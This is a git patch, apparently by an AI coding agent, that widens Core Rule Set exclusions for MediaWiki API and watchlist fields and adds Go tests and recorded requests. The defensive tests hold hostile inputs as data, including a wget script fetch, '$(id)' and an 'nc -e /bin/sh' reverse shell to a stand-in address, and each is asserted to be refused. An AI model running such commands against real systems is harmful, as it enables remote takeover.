From 4648bf61c2f7ed680e21e3870d5a6e4548bfc286 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 10 Nov 2026 00:53:51 +0000 Subject: [PATCH] Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258) On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, also skips 932125, 932230 and 932380, which read a title at the start of a line as a command. It skips 932235 and 932260 only when the body sends it once and it holds no ";", "|", "&" or backtick, checked by a phase 2 rule, so "; wget http://example.com/x.sh" is still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5 --- SPEC.md | 18 ++++++- internal/coreruleset/mediawiki.conf | 49 ++++++++++++++--- internal/coreruleset/mediawiki_test.go | 52 +++++++++++++++++-- .../testdata/mediawiki-requests.txt | 35 +++++++++++++ 4 files changed, 140 insertions(+), 14 deletions(-) diff --git a/SPEC.md b/SPEC.md index af7e048..4848f5e 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1010,9 +1010,15 @@ requests. The changes hold in front of every app, and no setting undoes them: - `from` and `to`, the titles of a page being moved; - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`, `aufrom` and `auprefix`; - - `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator - sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`; + - `letitle`, the page whose log is listed; - `euquery`, an address; + - the fields a generator sends in place of the fields above, each with a + `g` in front: + - `gsrsearch` and `gpssearch`; + - `gapfrom`, `gapto` and `gapprefix`; + - `gaifrom` and `gaiprefix`; + - `gbltitle`; + - `geuquery`; - the user names `ucuser`, `bkusers` and `user`; - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; - `lgname`, `lgpassword`, `username` and `password`, for signing in. @@ -1033,6 +1039,14 @@ requests. The changes hold in front of every app, and no setting undoes them: - `wpReason-other`, for blocking a user; - `user-reason`, for changing a user's groups; - `mwProtect-reason`, for protecting a page. + - On MediaWiki's pages, `wpTitles`, the list of watched pages that + `Special:EditWatchlist/raw` sends, one title per line. It skips the same + four rules. A title at the start of a line reads as a command, so it also + skips 932125, 932230, 932235 and 932380. It skips 932235 and 932260 only + when it holds no `;`, `|`, `&` or backtick. So a command such as + `; wget http://example.com/x.sh` is still refused. A list that mixes a + title holding one of these with a title starting with a command name is + refused too. - The wikitext of a page, which holds templates, tables and any code it shows: - `wpTextbox1` on MediaWiki's pages; diff --git a/internal/coreruleset/mediawiki.conf b/internal/coreruleset/mediawiki.conf index 45ef800..7c92a89 100644 --- a/internal/coreruleset/mediawiki.conf +++ b/internal/coreruleset/mediawiki.conf @@ -15,7 +15,7 @@ # Pages under /wiki/ need neither. # # Four rules read a search, a title or a name as a command or a system file. -# Each exclusion below for such a field removes these four, and only these: +# Each exclusion below for such a field removes these four: # 930120: .htaccess # 932120: powershell # 932250: ls -la @@ -55,9 +55,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ # aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3 # aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3 # bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes -# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator, -# /api.php?action=query&generator=prefixsearch&gpssearch=python3 +# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix, +# gbltitle, geuquery: the same fields from a generator, +# /api.php?action=query&generator=allpages&gapprefix=python3 # euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3 +# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes # ucuser: /api.php?action=query&list=usercontribs&ucuser=python3 # bkusers: /api.php?action=query&list=blocks&bkusers=Python3 # user: blocking, unblocking or changing the groups of a user, user=Python3 @@ -71,10 +73,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ # allow. SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \ "id:900901,phase:1,pass,nolog,\ - ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ - ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ - ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ - ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\ ctl:ruleRemoveTargetById=932180;FILES" # The search box's suggestions and the search through the REST API: @@ -175,3 +177,36 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/" + +# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per +# line. A title at the start of a line reads as a command to 932125, 932230, +# 932235 and 932380, so wpTitles skips those as well as the four rules: +# "Lighthouse notes", "Python3 notes", "Powershell notes", "Ls -la notes" +# and ".htaccess notes" +# It skips 932235 and 932260 only when it holds no ";", "|", "&" or backtick, +# so "; wget http://example.com/x.sh" is still refused. A watchlist that mixes +# a title holding one of these with a title starting with a command name is +# refused too. +SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ + "id:900915,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" + SecRule &ARGS_GET:wpTitles "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" + +# This rule is in phase 2, because a phase 1 rule runs before the body is read +# and cannot see what wpTitles holds. It checks that the body sends wpTitles +# once, since it would otherwise skip both rules for a second wpTitles holding +# a command. +SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ + "id:900916,phase:2,pass,nolog,chain" + SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" + SecRule &ARGS_GET:wpTitles "@eq 0" "chain" + SecRule &ARGS_POST:wpTitles "@eq 1" "chain" + SecRule ARGS_POST:wpTitles "!@rx [;|&`]" \ + "ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ + ctl:ruleRemoveTargetById=932260;ARGS:wpTitles" diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index b8cfd1b..fff01d7 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -49,8 +49,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { } // mediawikiQueryFields and mediawikiBodyFields together hold every field that -// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON -// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a +// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and +// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a // path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list @@ -85,6 +85,10 @@ var mediawikiQueryFields = []string{ "/api.php?action=query&list=allpages&apto=", "/api.php?action=query&list=allpages&apprefix=", "/api.php?action=query&generator=allpages&gapfrom=", + "/api.php?action=query&generator=allpages&gapto=", + "/api.php?action=query&generator=allpages&gapprefix=", + "/api.php?action=query&generator=allimages&gaifrom=", + "/api.php?action=query&generator=allimages&gaiprefix=", "/api.php?action=query&list=allimages&aifrom=", "/api.php?action=query&list=allimages&aiprefix=", "/api.php?action=query&list=allusers&aufrom=", @@ -92,6 +96,8 @@ var mediawikiQueryFields = []string{ "/api.php?action=query&list=backlinks&bltitle=", "/api.php?action=query&generator=backlinks&gbltitle=", "/api.php?action=query&list=exturlusage&euquery=", + "/api.php?action=query&generator=exturlusage&geuquery=", + "/api.php?action=query&list=logevents&letitle=", "/api.php?action=query&list=usercontribs&ucuser=", "/api.php?action=query&list=blocks&bkusers=", "/w/api.php?action=opensearch&search=", @@ -130,8 +136,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { type mediawikiBodyField struct{ target, field string } // mediawikiBodyFields and mediawikiQueryFields together hold every field that -// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON -// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on +// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and +// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on // a path where it skips them. // //nolint:gochecknoglobals // a constant cannot be a list @@ -174,6 +180,14 @@ var mediawikiReasonFields = []mediawikiBodyField{ {mediawikiProtect, "mwProtect-reason="}, } +// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its +// list of titles in, one per line. +// +//nolint:gochecknoglobals // a struct cannot be a constant +var mediawikiWatchlist = mediawikiBodyField{ + "/index.php/Special:EditWatchlist/raw", "wpTitles=", +} + // mediawikiWikitextFields are the form data fields that hold wikitext. // //nolint:gochecknoglobals // a constant cannot be a list @@ -190,7 +204,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { crs := readingBodies(t) fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields, - mediawikiReasonFields) + mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist}) for _, attack := range mediawikiAttacks { for _, sent := range fields { @@ -255,6 +269,25 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { if got.Score < mediawikiThreshold { t.Errorf("PUT %s %s let through: %+v", r.target, body, got) } + + // wpTitles skips 932235 and 932260 only when it holds no ";", "|", "&" + // or backtick, and only when the body sends it once. + r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + + for _, attack := range []string{ + mediawikiCommandAttack, + "Example%0D%0A" + mediawikiCommandAttack, + "Example&" + mediawikiWatchlist.field + mediawikiCommandAttack, + "Example%0D%0A%24%28id%29", + "Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444", + } { + body := mediawikiWatchlist.field + attack + + got, _ := inspectBody(t, crs, r, body) + if got.Score < mediawikiThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } } func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { @@ -291,6 +324,14 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { t.Errorf("POST %s %s refused: %+v", sent.target, body, got) } } + + // A watchlist holds the title on its second line, as recorded. + r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}} + body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" + + if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } } } @@ -355,6 +396,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) { {mediawikiEdit, "wpSummary=python3"}, {mediawikiSignIn, "wpPassword=python3"}, {mediawikiProtect, "mwProtect-reason=.htaccess"}, + {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {mediawikiAPI + "?action=edit", "text=python3"}, } { r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}} diff --git a/internal/coreruleset/testdata/mediawiki-requests.txt b/internal/coreruleset/testdata/mediawiki-requests.txt index ac43a94..8224e74 100644 --- a/internal/coreruleset/testdata/mediawiki-requests.txt +++ b/internal/coreruleset/testdata/mediawiki-requests.txt @@ -565,3 +565,38 @@ {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"} +{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; 